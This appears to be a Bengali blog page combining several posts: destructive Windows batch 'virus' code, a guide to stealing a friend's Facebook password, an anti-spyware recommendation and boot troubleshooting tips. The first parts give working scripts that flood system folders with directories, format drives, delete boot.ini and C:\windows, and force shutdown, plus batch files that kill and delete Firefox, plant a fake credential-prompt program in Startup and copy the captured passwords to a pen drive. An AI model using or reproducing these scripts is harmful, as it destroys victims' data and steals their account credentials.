@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET hat=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR hat%%hat%% >> bat4.bat
@ECHO SET /a hat=%%hat%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET chart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR chart%%chart%% >> bat3.bat
@ECHO SET /a chart=%%chart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

original
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1

উইনডোস ডিলিট করার ভাইরাস:

এই কোডটিও নোড পেড পেস্ট করে এবং .bat নামে সেভ করতে হবে……

@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START

কিছু Funny Virus Codes

১.ড্রাইভ ফরমেট কোড………

Copy The Following In Notepad Exactly as it

01001011000111110010010101010101010000011111100000

Save করুন .EXE নামে………..

২.ড্রাইভ ফরমেট কোড………

format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

সি ড্রাইভ ফরমেট কোড বা সি এর ফাইল ডিলিট করার কোড:

open notepad

erase c:\windows

and save as

FINDOUTANAME.cmd

wat does it do:- will erase c:/windows .

কম্পিউটারকে মেরে ফেলার কোড:

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir h4x
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “Your computer has committed suicide. Have a nice day.”

ভবিষ্যৎ এ আরো দিব অপেক্ষাই থাকুন…….

কারো ক্ষতির উদ্দেশ্য এই গুলো দেয়া হয়নি শুধু মাত্র শিখে রাখার জন্য এই কোড গুলো দেয়া হয়েছে…….
কারো কোনো ক্ষতি হয়ে গেলে টিউনার দায়ী থাকবেনা

জটিলভাবে বোকা বানিয়ে হ্যাক করুন বন্ধুর FaceBook একাউন্ট!!!

হ্যাকিং শিখতে খুব আগ্রহী এমন মানুষের কোন অভাব নেই। বিশেষ করে, কারো যদি FaceBook একাউন্ট হ্যাক করতে পারতেন, তাহলে হয়ত আপনার জীবন সার্থক হত। কিন্তু আমরা সকলেই জানি, হ্যাকিং কোন সহজ বিষয় নয়। শিখতে অনেক কষ্ট হয়।



আমি কোন এক্সপার্ট হ্যাকার না হলেও আজ আপনাদের একটা হ্যাকিং শিখাব। আশা করি শিরোনাম দেখেই আপনি বুঝতে পারছেন আমি কিসের হ্যাকিং এর কথা বলছি। আমি যে পদ্ধতি বলব, তা খুবই সহজ। এমনকি শ্রেষ্ঠ এন্টিভাইরাস ও আমার এই কারসাজি ধরতে পারবে না। তবে শর্ত একটাই, আপনার ভিকটিমের কম্পিউটারে আপনার এক্সেস থাকতে হবে। আপনার বন্ধু কি তার কম্পিউটারে আপনাকে হাত দিতে দিবে না, তা হয় নাকি? অনেকেই তো আছেন বন্ধুর কম্পিউটারে ঘন্টার পর ঘন্টা বসে থাকেন।



এখন চলে আসি মূল কথায়। আমি C++ দিয়ে স্বহস্তে একটি প্রোগ্রাম বানিয়েছি যা মানুষকে বোকা বানাতে সক্ষম, হ্যাঁ, নিজে তৈরি করেছি। আবার বলিয়েন না যে অন্য জায়গা থেকে কপি-পেস্ট মারছি। এমন উলটাপালটা বুদ্ধি আমার মাথা ছাড়া কারো মাথায় আসে না। C++ জানা থাকলে ভাল। তবে সমস্যা নেই, কারন আমি কোডটা + ফাইলটা দিয়ে দিব। যেটা খুশি ব্যবহার করিয়েন।



যেভাবে কাজ করবেঃ



আগে বলে রাখি, জিনিসটা খুবই সিম্পল। আপনার বন্ধু যখন কম্পিউটার রান করবে, তখন প্রথমে একটা মেসেজ দেখাবে “Serious Error Occured”. তারপর একটা কনসোল দেখাবে, যেখানে লেখা থাকবে – “FireFox has crashed on the last start for one or more reason. Some scripts may fail to protect your login credentials from 3rd Parties. To help protect your login id, please verify again. The following verification codes are valunerable: FaceBook.

Please re-verify your FaceBook account. This is for your own safety.”

এরপর Username এবং Pass চাওয়া হবে। আপনার বন্ধু যদি এই কনসোলের কথা বিশ্বাস করে, তাহলেই কেল্লা ফতে। সে লেখার সময় একেবারে Login Pass লেখার মত অনুভব করবে। সে রকম কারসাজিই আমি করেছি।

আর তারপর, তারপর কি???????

তারপর তার UserName এবং Pass একটা ফাইলে সেভ হয়ে যাবে। আপনার কাজ হচ্ছে পরের দিন এসে ফাইলটি নিয়ে নেয়া। মজার না?

নিচে কনসোলটি স্ক্রিনশট:

যেভাবে করবেনঃ

এজন্য C++ লাগবে। তবে না জানলে সমস্যা নেই, কারন আমি ফাইলটি দিয়ে দেব। কোডটি চলুন দেখে নিই: http://codetidy.com/2300



ফাইলটি ডাউনলোড করতেঃ http://www.mediafire.com/?0y734mbykpixa97



এখন জেনে নিই কীভাবে কাজটি করবেন।

প্রথমে একটা ব্যাচ ফাইল বানান, যেখানে নিম্নলিখিত কোডগুলো লিখবেন:

taskkill /f /im firefox.exe

erase /f /q “C:\Program Files\Mozilla FireFox\*.*”

copy “crash.exe” “C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\”

exit



আপনার কাজ শেষ। এবার এই ব্যাচ ফাইল .bat এবং crash.exe ফাইলটি আপনার পেনড্রাইভে নিয়ে বন্ধুর কম্পিউটারে যান। এবার সুযোগ বুঝে ব্যাচ ফাইলটি রান করুন। এর ফলে crash.exe আপনার বন্ধুর কম্পিউটারের Startup এ চলে যাবে। পরবর্তীত কম্পিউটার রান করলেই সে কনসোল দেখতে পাবে। সে যখন ফায়ারফক্স রান করবে, তখন ফায়ারফক্স কাজ করবে না। এর ফলে সে ভাববে সত্যিই কিছু হয়েছে এবং সে পাস ও লগিন আইডি দিয়ে দিবে।

এই পাস ও লগিন আইডি C:\Log.txt নামক ফাইলে সেভ হবে। আপনার কাজ হবে পরেরদিন এসে সুযোগ বুঝে Log.txt ফাইলটি নিয়ে নেয়া। জিনিসটা সহজ করতে একটা ব্যাচ ফাইল তৈরি করতে পারেনঃ

copy “C:\Log.txt” “J:\”

erase /f /q “C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crash.exe”



উপরের কোডে J:\ এর জায়গায় আপনার পেনড্রাইভ ড্রাইভার লেটার বসিয়ে দিন। বিশেষ করে আপনার বন্ধুর কম্পিউটারে পেনড্রাইভ ঢুকালে কোন ড্রাইভার লেটার শো করে তা বসাবেন। চলুন দেখে নিই Log.txt ফাইলটি।

দেখলেন তো, উক্ত ফাইলে এভাবেই আপনার বন্ধুর login id সেভ হয়ে থাকবে।



কেমন লাগল? বুদ্ধিটা একটু উলটা হলেও ভাল। তবে হ্যাঁ, সিকিউরিটিতে এক্সপার্ট এমন কারো কাছে এই কাজ করার চেষ্টা কইরেন না, তাহলে ধরা খাবেন। আর হ্যাঁ, ব্যাচ কমান্ড গুলো কিন্তু শুধু Windows 7 এর ক্ষেত্রে প্রযোজ্য। XP হলে Directory একটু ভিন্ন, প্রয়োজন অনুযায়ী চেঞ্জ করে নিবেন।

স্পাইওয়্যার টার্মিনেটর কি?

সবাইকে সালাম ও শুভেচ্ছা জানিয়ে শুরু করছি, আশাকরি সকলে ভালো আছেন স্পাইওয়্যার হল এক ধরনের ক্ষতিকর প্রোগ্রাম, যা আপনার কম্পিউটারে প্রবেশ করে আপনাকে বিভিন্ন রকম বিজ্ঞাপন দিয়ে প্রলুব্ধ করে, আপনার কম্পিউটারের তথ্য পাচার করে এবং সর্বপরি অপারেটিং সিসটেম এর কনফিগারেশনও পরিবর্তন করে ফেলে।

বাচাঁর উপায় কি?
এ হতে পরিত্রান পাওয়ার জন্য আপনি এন্ট্রি-স্পাইওয়্যার ব্যবহার করতে পারেন। আর এর জন্য কার্যকর এবং ফ্রী সমাধান হতে পারে
স্পাইওয়্যার টার্মিনেটর।
এটি স্পাইওয়্যার ছাড়াও পেইজ হ্যাইজাকার , এডওয়্যার , ম্যালওয়্যার, ওয়ার্ম, কর্মাশিয়াল কী লগারসহ বেশ কিছুর এন্ট্রি হিসাবে কাজ করে।
রয়েছে প্রতিদিন আপটেড এর ব্যবস্থা।
কোথায় পাবো?
ডাউনলোড করতে http://www.spywareterminator.com/download/download.aspx
সবাইকে ধন্যবাদ জানিয়ে এখানেই বিদায়, আল্লাহ হাফেজ

হার্ডওয়্যার ট্রাবলশ্যুটিং: আজকের বিষয়: কম্পিউটারের বুট সংক্রান্ত সমস্যা ও সমাধান


আজকে আমি আপনাদের সেই গ্রুপের যে সকল সমস্যা সুন্দর ভাবে সমধান দেয়া হয়েছে তার কিছু চৌম্বুক অংশ নিজের ভাষায় উপস্থাপন করছি।

সমস্যা-১ : কম্পিউটার বুট হতে অনেক সময় নেয়।

কারন:

১. Memory Check অপশনটি এনাবল করা এবং এটি দুবার Memory Count করে।

২. অন্যান্য Device সমূহ প্রত্যেক বার Booting এর সময় Detect করে

৩. প্রত্যেকবার Boot করার সময় এন্টিভাইরাস সফটওয়্যার অথবা অন্যান্য Utility Software রান করে এবং নির্ধারিত পরীক্ষা করে।

সমধান :

১. Memory Check অপশনটি Disable করুন। এজন্য BIOS Setup এ ঢুকে Quick Boot অপশনটি Enable করে দিন।

২. BIOS Setup থেকে Device Auto Detect অপশনটি Disable করে দিন।

৩. কম্পিউটারে এন্টিভাইরাস সফটওয়্যার Tool ব্যবহার করা ভাল। তবে প্রত্যেক বার Startup এ Virus check option টি অফ করে দিন।



সমস্যা-২ : কম্পিউটারের Daisy Chain এর সাথে আরও একটি HDD/CD-ROM Drive/ CD-Writer লাগানো হয়েছে। আগে কম্পিউটার ঠিক ভাবে চলতো কিন্তু এখন Boot করছে না।

অথবা Message: Insert System Disk or No drive found

অথবা, নতুন ড্রাইভটি পাচ্ছে না।

অথবা, Message: Press F1 to continue

কারন :

১. একই Daisy Chain এ লাগানো পূর্বের ড্রাইভটি এবং এখনকার ড্রাইভটি একই Configuration এ লাগানো।

২. নতুন লাগানো ড্রাইভটি নষ্ট অথবা Daisy Chain টি খারাপ।

৩. BIOS Setup ভুল।

সমাধান :

১. একটি Daisy Chain এ লাগানো দুটি ড্রাইভ একই কনফিগারেশনে অর্থাৎ দুটিই মাস্টার অথবা দুটিই Slave থাকলে যে ড্রাইভ থেকে Boot হবে সেটিকে মাস্টার এবং অন্যটিকে Slave হিসেবে Configure করুন।

২. নতুন লাগানো ড্রাইভটি নষ্ট কিংবা Power Connector লাগানো হয়নি অথবা Daisy Chain নষ্ট থাকতে পারে এগুলো পরীক্ষা করুন।

৩. BIOS Setup এ Auto Detect অপশনটি Enable করা না থাকলে Setup এ গিয়ে নতুন ড্রাইভটি assign করে দিন।



সমস্যা-৩ : Boot Disk Failure মেসেজ দেখায়।

কারন :

১. IDE ক্যাবল ঢিলাঢিলা অবস্থায় থাকতে পারে।

২. হার্ডডিস্ক নষ্ট থাকতে পারে।

সমাধান :

১. IDE ক্যাবল ঢিলা অবস্থায় থাকলে সেটি যথাযথভাবে লাগান। এরপর কম্পিউটার চালু করুন। আশা করা যায় এবার কম্পিউটারটি বুট করবে।

২. হার্ডডিস্ক নষ্ট কিনা সেটি বের করার জন্য অন্য একটি হার্ডডিস্ক আপনার কম্পিউটারে লাগিয়ে পরীক্ষা করুন।

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More